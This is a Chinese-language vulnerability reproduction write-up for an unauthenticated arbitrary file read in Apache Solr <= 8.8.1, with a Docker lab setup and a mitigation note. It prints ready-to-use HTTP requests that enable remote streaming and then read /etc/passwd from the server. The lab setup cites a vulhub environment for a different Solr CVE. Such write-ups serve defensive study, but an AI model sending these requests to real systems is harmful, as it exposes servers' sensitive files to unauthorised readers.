Apache Solr <= 8.8.1任意文件读取漏洞复现

2021-04-12 16:59:42 浏览数 (1)

本文字数:570

阅读时长:2~3min

声明:请勿用作违法用途,否则后果自负

0x01 简介

Apache Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

0x02 漏洞概述

Apache Solr 存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件。

0x03 影响版本

Apache Solr <= 8.8.1

0x04 环境搭建

使用vulhub快速搭建

代码语言:javascript复制
wget https://github.com/vulhub/vulhub/blob/master/solr/CVE-2019-17558/docker-compose.yml
docker-compose up -d
docker ps

0x05 漏洞复现

1、获取core的信息:主要是name
代码语言:javascript复制
http://xx.xx.xx.xx:8983/solr/admin/cores?indexInfo=false&wt=json
2、根据name构造获取config的包

根据返回包内容可判断存在漏洞

代码语言:javascript复制
代码语言:javascript复制
POST /solr/demo/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 80
Connection: close
 
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
3、构造读取/etc/passwd的包
代码语言:javascript复制
POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Connection: close
 
stream.url=file:///etc/passwd

0x06 修复方式

将Solr 端口仅对内网开放

无修复版本(好像是官方不认这个漏洞,拒绝修复)

代码语言:javascript复制
参考链接:

https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ

https://mp.weixin.qq.com/s/SFC8X7o2kfFASHmLeD3-UQ

https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-17558

0 人点赞